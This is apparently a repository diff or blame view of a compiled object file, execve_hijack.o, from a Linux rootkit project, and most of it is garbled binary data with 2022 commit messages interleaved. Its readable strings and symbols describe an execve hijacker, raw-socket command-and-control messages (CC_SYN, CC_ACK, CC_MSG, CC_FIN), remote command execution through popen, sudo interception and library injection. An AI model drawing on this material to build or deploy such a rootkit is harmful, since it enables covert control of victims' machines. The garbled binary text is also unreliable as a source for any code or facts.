<00>H<>}<7D>H<EFBFBD><00>H<>}<7D><0F>#<00>}<7D>H<EFBFBD><00><00><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>}<7D>H<EFBFBD><00>	<00><00>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD>u<EFBFBD>H<EFBFBD><48>H<><48>`<60><><EFBFBD><EFBFBD><00><00>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD><00><00>H<><48>x<EFBFBD><78><EFBFBD>L<EFBFBD><4C>`<60><><EFBFBD>H<EFBFBD><48>8<EFBFBD><38><EFBFBD><EFBFBD>@<00>(#A<>H<>H<><48>H<>$<24>H<><48> H<><48>X<EFBFBD><58><EFBFBD>H<EFBFBD><48>H<EFBFBD>H <10>8<EFBFBD><38><EFBFBD><10>H<EFBFBD><48><EFBFBD>H<00>H<><48>0<EFBFBD><30><0F>+<00>}<7D>H<EFBFBD><00><00><00>}<7D><><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 								ǅ4<C785><34><EFBFBD><00><>4<EFBFBD><34><EFBFBD><0F><>4<EFBFBD><34><0F><00><>H<><48><08><><EFBFBD>H<EFBFBD><00>H<><00><00>H<><48><18><><EFBFBD>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<EFBFBD><31><EFBFBD>H<EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>YH<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><0F> H<><00><00>ǅ4<C785><34><EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48>x<EFBFBD><78><EFBFBD>L<EFBFBD><4C>`<60><><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>@<00>(#A<>H<><48>H<>$<24>H<><48> H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>H <10><><EFBFBD><EFBFBD><EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD>H<00>H<><48>0<EFBFBD><30><0F>+<00>}<7D>H<EFBFBD><00><00><00>}<7D><><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><0F><><EFBFBD><EFBFBD>}<7D><><00>E<EFBFBD><00>E<EFBFBD>H<EFBFBD><48>]<5D>Timer %i started, address sent %llx
-												Added extraction of original jump instruction and opcodes

											
										
										
											2022-03-15 18:36:59 -04:00
+								rFailed to run command
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								COMMAND ERRORRESULT OF COMMAND: %s
 								Hello world from execve hijacker
 								Argument %i is %s
-												Corrected issues of opening directories without permission in execve helper

											
										
										
											2022-02-24 19:53:11 -05:00
+								/usr/bin/sudoFailed to execve()/tmp/rootlogFailed to open log file
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								Sniffing...
-												Corrected issues of opening directories without permission in execve helper

											
										
										
											2022-02-24 19:53:11 -05:00
+								CC_SYNFailed to open rawsocket
-												Now the execve hijacker works without needing a canalizer. Removed it. Also some additional tweaks to the c&c launching of the helper

											
										
										
											2022-02-19 11:57:32 -05:00
+								Sniffed
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								IP: %s
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								CC_ACKCC_MSG#Received client message
 								#CC_FINConnection closed by request
 								Received request: %s
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+								]dv<>}dupu<00>v<>}%I:;($>I:;I:;	
I:;8
-												Updated helpers and added resources to help with lib injection

											
										
										
											2022-03-24 15:40:05 -04:00
+								.@:;I?4:;I.@:;'I?
:;I4I44:;I<I!I7$>:;!I7&I
I:;
8
I:;8:;:;!I7
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+								D?Q^	s!~<05>?*
 								<00>V<19><02>X<1B><03><><1B><03><><1C><03><><1C><03><><1C><03><><1D><03><><1E><03><><1E><03><><00>V=<3D>
<02>p=<3D><02>h?2<02>`@<40><03><>wA$
 								<00>VS<><03><>~T1<03><>}U<><03><>}V><03><>}W<><00>Vj<>
<02>xj<>
<02>pj<>
<02>hj<><02>Xr<><02>Ps<><02>Hw<><03><><06><><03><><06><><03><><06>4<03><>~<06><><03><>~<06><>	<03><>~<06>4<03><>~<06><>A<02>dl<><00><03><>|<7C>	A<03><>~<7E><00><03><>~<06>4<03><>~<06><><03><>}<06><><03><>}Ŕ<03><>}Ɣ<03><>}<06>4<07> 	<00>
-												Updated helpers and added resources to help with lib injection

											
										
										
											2022-03-24 15:40:05 -04:00
+									<00>
 									<00>	<00><05><03><05><03>
 								-'	M<05><03>7B<00>
 	<00>
 	<00>
 	<00>
 	<00>
 	<00>
 	<00>
 								:(	<00>
 								;0	<00>
 								<8	<00>
 								=@	<00>
 								@H	<00>
 								AP	<00>
 								BX	<00>
 								D`	<00>
 								Fh	<00>
 								Hp	<00>
 								It	<00>
 								Jx	<00>
 								M<EFBFBD>	<00>
 								N<EFBFBD>	<00>
 								O<EFBFBD>	<00>
 								Q<EFBFBD>	<00>
 								Y<EFBFBD>	<00>
 								[<5B>
 								\<5C>	<00>
-												Added extraction of original jump instruction and opcodes

											
										
										
											2022-03-15 18:36:59 -04:00
+								]<5D>	X
-												Updated helpers and added resources to help with lib injection

											
										
										
											2022-03-24 15:40:05 -04:00
+								^<5E>
 								_<EFBFBD>	<00>
 								`<60>
 								b<EFBFBD><07>B<05><03><12><13><07>
 								+<05><03><07>.<12><13><12><16><12><16>C 
b	<00>
d	<00>
e	<00>
f	<00>
g	<00>
h<07><05><07>8	<00>		<00>
 									<00>	<00>	<00>
	<00>	<00>	<00>	<00> 	<00>(	*0/<17>?
(	<00>	O		<00>
 									<00>	<00> <07>,?/?0	7	98	99	9:	;	<		9=
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+									~>	~?'2&D<05>(Tbdddpff	9h	9i	<00>	j	<00>	kmn	t
	9{	9|	9}<19>	9<12>	9<12>	~<12>	~<12>9<12>9<12>9<12>9<12>9<12>9<12>9<12>9<12>9<12>	9<12>	9<12>	9<12>~]<12><13><12><1C><00>Ubuntu clang version 12.0.0-3ubuntu1~21.04.2execve_hijack.c/home/osboxes/TFG/src/helpersunsigned intTFD_TIMER_ABSTIMETFD_TIMER_CANCEL_ON_SETlong long unsigned int__u64s_addr__uint32_tuint32_tin_addr_tin_addrtest_time_values_injectionintexecute_commandchargetLocalIpAddressmainnew_valueit_intervaltv_seclong int__time_ttv_nsec__syscall_slong_ttimespecit_valueitimerspecnew_value2max_expfdfd2nowexplong unsigned int__uint64_tuint64_ttot_exps__ssize_tssize_tcommandfp_flags_IO_read_ptr_IO_read_end_IO_read_base_IO_write_base_IO_write_ptr_IO_write_end_IO_buf_base_IO_buf_end_IO_save_base_IO_backup_base_IO_save_end_markers_IO_marker_chain_fileno_flags2_old_offset__off_t_cur_columnunsigned short_vtable_offsetsigned char_shortbuf__ARRAY_SIZE_TYPE___lock_IO_lock_t_offset__off64_t_codecvt_IO_codecvt_wide_data_IO_wide_data_freeres_list_freeres_buf__pad5size_t_mode_unused2_IO_FILEFILEresbufhostbufferIPbufferhost_entryh_nameh_aliasesh_addrtypeh_lengthh_addr_listhostenthostnameargcargvenvpiirawtimetime_ttimeinfotm_sectm_mintm_hourtm_mdaytm_montm_yeartm_wdaytm_ydaytm_isdsttm_gmtofftm_zonetmtimestr__vla_expr0packetipheaderihlversiontosunsigned char__uint8_tuint8_ttot_len__uint16_tuint16_tidfrag_offttlprotocolchecksaddrdaddriphdrtcpheaderth_sportth_dportth_seqtcp_seqth_ackth_x2th_offth_flagsth_winth_sumth_urpsourcedestseqack_seqres1dofffinsynrstpshackurgres2windowurg_ptrtcphdrpayloadpayload_lengthpacket_tlocal_ipremote_ippacket_ackconnection_closeppayload_bufpacket_resargsUbuntu clang version 12.0.0-3ubuntu1~21.04.2zRx<08><00>A<10>C
<02><<00>A<10>C
<02>\<00>A<10>C
<02>|<00>A<10>C
<03>s<00><01>
/usr/include/x86_64-linux-gnu/sys/usr/include/asm-generic/usr/include/x86_64-linux-gnu/bits/usr/include/netinet/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/lib/llvm-12/lib/clang/12.0.0/include./libtimerfd.hint-ll64.htypes.hstdint-uintn.hin.hexecve_hijack.cstruct_timespec.hstruct_itimerspec.hstdio.hstruct_FILE.hstddef.hFILE.hnetdb.htime_t.hstruct_tm.hip.hRawTCP.htcp.h
-												Added extraction of original jump instruction and opcodes

											
										
										
											2022-03-15 18:36:59 -04:00
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+									<09><06>=	Jg"<22>#<23><19>	<B 	<g<0B>	<06>
=	Jg#<23>$<24><19>	<D 	<g5<>9<Ju<00>
-												Added extraction of original jump instruction and opcodes

											
										
										
											2022-03-15 18:36:59 -04:00
+								<EFBFBD><06>M
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+								J<08>KX	g1X#tJ'<27>JgJ	tW'[JJYJK<08>
-												Added extraction of original jump instruction and opcodes

											
										
										
											2022-03-15 18:36:59 -04:00
+								<EFBFBD><06>xt<0E>gt	g <20>tXu<06>	g<0C>3<06>?t3J<Zt<06>
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+								<08>
t<<'g+<	<09><06><06>\]<10><06>KJXMX<h<	<)t=t<	<<03>f<03>t<06><
<<"I	<06><03>X*<03>tJ/<2F><
g<><05>{	<08>
 								=J	g<>
uJJJ<g<J	t<06><05>\<>
utJJ<g<t	t<06><05>]<=<?/Xg	<=<0B><>X!v+J3Jt<06>t=Gtt."0<g	<=	<Y<><0B><06><06>	Y tv
t<0B>
u.u<06>gt+<2B><g"
<0A>2Yt-tX%u<06>ut<06>%ttIYStdt't$.0<g<=<Y<16>tYt	ZfXX<Yu<00><00><>	P/<00><00><00><00>*L<00>R<00><00><00>gu<00>vF<00><00><00><00>o<00><00><00><00>E<00><00><00><00>S6	&<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>N'<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>l&<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 								<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>%!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>6'A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>G>n<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>L<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 								<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>F<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>i<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>x"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>c<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	%<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>%<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Y(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<00>~(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>)(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>L(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>v<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!<00>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>^(g<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m0x<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I<00>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I<00>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 								K<00>!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>R<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?
 								<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>R
 								(W"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>j <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>(<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 								-
 								=3
 								h9
 								z@
 								[K
 								<00>R
 								<00>_
 								<00>g
 								<00>x
 								<00><00>
 								<00><00>
 								<00><00><00>
 								<00><00>
 								'<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
 								<00>)
 								<00>5<00>C
 								<00>Q
 								<00>_
 								<00>m
 								<00>|
 								<00><00><00><00>
 								<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								$<00><00><00>
 								"<00>
 								-
 
 $
 								?2
 								N@
 								<00>O
 								<00>^
 								<m
 								<00>|
 								%<00>
 								.<00>
 <00>
 								C<00><00><00>
 								<<00>5<00>
 								<00><00>
 								<00>
 								m<00>n
-												Updated helpers and added resources to help with lib injection

											
										
										
											2022-03-24 15:40:05 -04:00
-												Adapted memory analysis to larger memory addresses inside the virtual address space. Solved bugs and others, adapting code for RELRO.

											
										
										
											2022-04-04 17:07:45 -04:00
+								<U(
 								<00>7
 								F
 								TQ	b
 								<00>q
 								V<00>
 								b<00>
 								<00><00>
 								<00>
 								<00><00>
 <00>
 								y<00>
 								p<00>
 								=<00>
 								V<00>
 								M<00>
 								D<00>
 								^
 								<00>
 								<00>
 								<00>!
 								<00>,
 								<00><
 								<00>C
 								<00>K
 								<00>W
 								c
 								o
 								{
 								+<00>
 								:<00>
 								H<00>
 								V<00>
 								c<00>
 								o<00>
 								}<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
 								<00>#
 								<00>/
 								;
 								-G
 								>S
 								P_
 								ek
 								~w
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
 <00>
 								F<00>
 								Y
 								p
 								<00>D
 								L
 								<00>X
 								<00>d
 								<00>p
 								|
 								<00>
 								G<00>
 								<00><00>
 								W<00>
 								^<00>
 								e<00>
 								m<00>
 								u<00>
 								|<00>
 								<00><00>
 								<00>
 								<00>
 								<00>
 								<00>9
 								@
 								H
 								<00>T
 								S`
 								l
 x
 								<00><00>
 								M<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								"<00>
 								%<00>
 								.<00>
 <00>
 								;
 								A
 								G!
 								<00>,
 								<00>3
 								<00>>
 								I
 								U
 								<00>u
 								]<00>
 								f<00>
 								o<00>
 								~<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
 								<00>
 								<00>$
 								<00>0
 								<00>?
 								<00>N
 								<00>]
 								<00>l
 								<00>{
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								;<00>
 								<00><00>
 								v @<00>`<00><00><00><00>$&'
 								 "%
(	#!strcpy.debug_abbrev.rela.text.commentexitbuild_standard_packetstrcatfgetsgetLocalIpAddress.debug_strperrorinet_ntopstrcmp.rela.debug_inforawsocket_sniff_patterntest_time_values_injectionmainpopenstrtok.note.GNU-stack.llvm_addrsigprintfexecvewritetimerfd_createpclose.rela.debug_linetimerfd_settimelocaltimeasctime.rela.eh_framegethostbynamegethostnamefreerawsocket_sendexecute_commandgeteuidcalloc.debug_locexecve_hijack.c.strtab.symtabinet_ntoa.rodata.str1.1<00> B<00>@D@&<00><00>2<00><00><00>
 								PZ
 								Y<00><00>
 								<00><00>.<00>d0<00>r!0).<00>W]pX<00>X<00>A`*<00>w%<00>A<00>L<>o<00>B <00>h"<00>